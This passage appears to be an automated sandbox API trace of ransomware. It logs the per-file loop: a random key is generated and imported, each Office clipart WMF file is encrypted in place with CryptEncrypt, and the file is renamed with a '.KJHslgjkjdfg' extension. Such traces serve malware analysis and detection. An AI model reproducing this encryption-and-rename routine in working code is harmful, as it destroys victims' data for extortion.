nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0193.842] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0193.842] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0193.842] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0193.842] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0193.842] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0193.842] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0193.842] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.842] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x7680, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x7680, lpOverlapped=0x0) returned 1 [0193.844] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x7680, dwBufLen=0x7680 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x7680) returned 1 [0193.844] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.844] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x7680, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x7680, lpOverlapped=0x0) returned 1 [0193.844] CryptDestroyKey (hKey=0x9b6628) returned 1 [0193.844] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x7754, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.845] SetEndOfFile (hFile=0x130) returned 1 [0193.847] GetProcessHeap () returned 0x990000 [0193.847] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0193.847] GetProcessHeap () returned 0x990000 [0193.847] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0193.848] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107446.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107446.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107446.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107446.wmf.kjhslgjkjdfg")) returned 1 [0193.849] CloseHandle (hObject=0x130) returned 1 [0193.849] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x563ba0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1338, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0107450.WMF", cAlternateFileName="")) returned 1 [0193.849] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107450.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107450.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0193.851] GetProcessHeap () returned 0x990000 [0193.851] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0193.851] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0193.851] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0193.851] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0193.854] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0193.854] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0193.854] GetProcessHeap () returned 0x990000 [0193.854] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0193.854] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0193.854] CryptDestroyKey (hKey=0x9b6628) returned 1 [0193.854] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0193.854] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0193.854] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0193.854] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0193.854] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0193.854] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0193.854] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0193.854] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0193.854] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.855] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x1338, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x1338, lpOverlapped=0x0) returned 1 [0193.856] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1340, dwBufLen=0x1340 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1340) returned 1 [0193.856] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.856] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x1340, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x1340, lpOverlapped=0x0) returned 1 [0193.856] CryptDestroyKey (hKey=0x9b6628) returned 1 [0193.856] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1414, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.856] SetEndOfFile (hFile=0x130) returned 1 [0193.859] GetProcessHeap () returned 0x990000 [0193.859] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0193.859] GetProcessHeap () returned 0x990000 [0193.859] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0193.859] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107450.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107450.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107450.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107450.wmf.kjhslgjkjdfg")) returned 1 [0193.867] CloseHandle (hObject=0x130) returned 1 [0193.867] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65eb5050, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x52e0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0107452.WMF", cAlternateFileName="")) returned 1 [0193.867] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107452.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107452.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0193.869] GetProcessHeap () returned 0x990000 [0193.869] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0193.869] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0193.869] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0193.869] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0193.869] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0193.869] GetProcessHeap () returned 0x990000 [0193.869] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0193.869] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0193.869] CryptDestroyKey (hKey=0x9b6628) returned 1 [0193.869] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0193.872] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0193.872] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0193.872] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0193.872] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0193.872] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0193.873] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0193.873] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0193.873] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.873] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x52e0, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x52e0, lpOverlapped=0x0) returned 1 [0193.874] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x52e0, dwBufLen=0x52e0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x52e0) returned 1 [0193.874] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.874] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x52e0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x52e0, lpOverlapped=0x0) returned 1 [0193.874] CryptDestroyKey (hKey=0x9b6628) returned 1 [0193.874] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x53b4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.874] SetEndOfFile (hFile=0x130) returned 1 [0193.877] GetProcessHeap () returned 0x990000 [0193.877] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0193.877] GetProcessHeap () returned 0x990000 [0193.877] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0193.877] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107452.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107452.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107452.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107452.wmf.kjhslgjkjdfg")) returned 1 [0193.878] CloseHandle (hObject=0x130) returned 1 [0193.878] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65eb5050, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xe8c, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0107456.WMF", cAlternateFileName="")) returned 1 [0193.878] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107456.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107456.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0193.879] GetProcessHeap () returned 0x990000 [0193.879] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0193.879] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0193.879] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0193.887] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0193.922] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0193.922] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0193.922] GetProcessHeap () returned 0x990000 [0193.922] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0193.923] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0193.923] CryptDestroyKey (hKey=0x9b6628) returned 1 [0193.923] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0193.923] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0193.923] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0193.923] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0193.923] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0193.923] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0193.923] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0193.923] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0193.923] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.923] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0xe8c, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0xe8c, lpOverlapped=0x0) returned 1 [0193.923] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0xe90, dwBufLen=0xe90 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0xe90) returned 1 [0193.924] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.924] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0xe90, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0xe90, lpOverlapped=0x0) returned 1 [0193.924] CryptDestroyKey (hKey=0x9b6628) returned 1 [0193.924] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xf64, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.924] SetEndOfFile (hFile=0x130) returned 1 [0193.926] GetProcessHeap () returned 0x990000 [0193.926] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0193.926] GetProcessHeap () returned 0x990000 [0193.926] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0193.926] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107456.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107456.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107456.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107456.wmf.kjhslgjkjdfg")) returned 1 [0193.928] CloseHandle (hObject=0x130) returned 1 [0193.928] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x563ba0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xdf0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="J0107458.WMF", cAlternateFileName="")) returned 1 [0193.928] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107458.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107458.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0193.929] GetProcessHeap () returned 0x990000 [0193.929] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0193.929] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0193.929] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0193.929] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0193.929] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0193.929] GetProcessHeap () returned 0x990000 [0193.929] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0193.929] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0193.929] CryptDestroyKey (hKey=0x9b6628) returned 1 [0193.929] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0193.931] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0193.931] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0193.931] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0193.932] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0193.932] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0193.932] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0193.932] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0193.932] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0193.932] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0xdf0, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0xdf0, lpOverlapped=0x0) returned 1 [0193.932] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0xdf0, dwBufLen=0xdf0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0xdf0) returned 1 [0193.932] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, 